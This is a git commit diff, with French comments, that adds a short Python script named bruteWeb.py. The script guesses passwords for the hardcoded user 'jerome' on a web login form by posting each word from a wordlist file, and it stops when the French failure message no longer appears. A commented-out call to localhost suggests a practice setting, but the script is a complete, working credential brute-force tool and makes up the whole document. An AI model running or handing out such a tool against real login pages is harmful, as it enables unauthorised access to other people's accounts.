ajouts

1 files changed, 27 insertions, 0 deletions

diff --git a/bruteWeb.py b/bruteWeb.py
new file mode 100644
index 0000000..541e673
--- /dev/null
+++ b/bruteWeb.py
@@ -0,0 +1,27 @@
+import sys
+import requests 
+
+def bruteforce(url,username,password):
+    reponse=requests.post(url=url,data={
+    "username":username,
+    "password":password
+    })
+    #print(reponse.text)
+    if "Mauvais mot de passe" in reponse.text:
+        #print("mauvais pwd")
+        return False
+    else:
+        print(f"Trouvé password \"{password}\"")
+        return True
+
+if __name__ == "__main__":
+    url = sys.argv[1]
+    dico = sys.argv[2]
+    with open(dico, 'r') as wordlist:
+        for password in wordlist.readlines():
+            password=password.strip()
+            if bruteforce(url,"jerome",password)==True:
+                sys.exit()
+
+#bruteforce("http://localhost/page.php","jerome","secret")
+